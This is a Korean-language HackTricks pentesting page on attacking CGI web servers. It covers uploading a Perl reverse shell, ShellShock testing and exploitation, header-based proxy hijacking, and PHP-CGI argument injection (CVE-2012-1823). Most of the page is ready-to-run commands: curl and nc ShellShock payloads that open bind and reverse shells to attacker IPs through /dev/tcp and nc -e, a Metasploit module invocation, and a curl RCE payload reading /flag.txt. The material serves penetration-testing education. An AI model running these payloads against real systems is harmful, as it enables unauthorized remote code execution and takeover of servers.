tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
정보
CGI 스크립트는 perl 스크립트이므로, .cgi 스크립트를 실행할 수 있는 서버를 침해한 경우 perl 리버스 셸 (/usr/share/webshells/perl/perl-reverse-shell.pl
)을 업로드하고, 확장자를 .pl에서 .cgi로 변경한 후, 실행 권한 (chmod +x
)을 부여하고 웹 브라우저에서 리버스 셸에 접속하여 실행할 수 있습니다. CGI 취약점을 테스트하기 위해 nikto -C all
(및 모든 플러그인)을 사용하는 것이 권장됩니다.
ShellShock
ShellShock는 Unix 기반 운영 체제에서 널리 사용되는 Bash 명령줄 셸에 영향을 미치는 취약점입니다. 이는 Bash가 애플리케이션에 의해 전달된 명령을 실행할 수 있는 능력을 목표로 합니다. 취약점은 환경 변수의 조작에 있으며, 이는 컴퓨터에서 프로세스가 실행되는 방식에 영향을 미치는 동적 이름 값입니다. 공격자는 환경 변수에 악성 코드를 첨부하여 변수를 수신할 때 실행되도록 할 수 있습니다. 이를 통해 공격자는 시스템을 손상시킬 수 있습니다.
이 취약점을 악용하면 페이지에서 오류가 발생할 수 있습니다.
이 취약점을 찾을 수 있는 방법은 구식 Apache 버전과 cgi_mod (cgi 폴더 포함)을 사용하고 있는 것을 확인하거나 nikto를 사용하는 것입니다.
테스트
대부분의 테스트는 무언가를 에코하고 해당 문자열이 웹 응답으로 반환되기를 기대하는 방식으로 진행됩니다. 페이지가 취약할 수 있다고 생각되면 모든 cgi 페이지를 검색하고 테스트하십시오.
Nmap
nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
Curl (반사, 블라인드 및 아웃 오브 밴드)
# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh
python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi
익스플로잇
#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
#Reverse shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
#Reverse shell using curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
#Reverse shell using metasploit
> use multi/http/apache_mod_cgi_bash_env_exec
> set targeturi /cgi-bin/admin.cgi
> set rhosts 10.1.2.11
> run
프록시 (MitM에서 웹 서버 요청으로)
CGI는 http 요청의 각 헤더에 대해 환경 변수를 생성합니다. 예를 들어: "host:web.com"은 "HTTP_HOST"="web.com"으로 생성됩니다.
HTTP_PROXY 변수가 웹 서버에 의해 사용될 수 있으므로, "헤더에 다음을 포함하여 전송해 보십시오: "Proxy: <IP_attacker>:<PORT>" 그리고 서버가 세션 중에 요청을 수행하는 경우, 서버가 만든 각 요청을 캡처할 수 있습니다.
구형 PHP + CGI = RCE (CVE-2012-1823, CVE-2012-2311)
기본적으로 cgi가 활성화되어 있고 php가 "구형" (<5.3.12 / < 5.4.2)인 경우 코드를 실행할 수 있습니다.
이 취약점을 악용하기 위해서는 매개변수를 전송하지 않고 (특히 "=" 문자를 전송하지 않고) 웹 서버의 일부 PHP 파일에 접근해야 합니다.
그런 다음 이 취약점을 테스트하기 위해 예를 들어 /index.php?-s
에 접근할 수 있으며 (note the -s
) 응답에 애플리케이션의 소스 코드가 나타납니다.
그런 다음 RCE를 얻기 위해 이 특별한 쿼리를 전송할 수 있습니다: /?-d allow_url_include=1 -d auto_prepend_file=php://input
그리고 요청 본문에 실행할 PHP 코드.
예:**
curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
취약점 및 가능한 익스플로잇에 대한 추가 정보: https://www.zero-day.cz/database/337/, cve-2012-1823, cve-2012-2311, CTF 작성 예시.
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.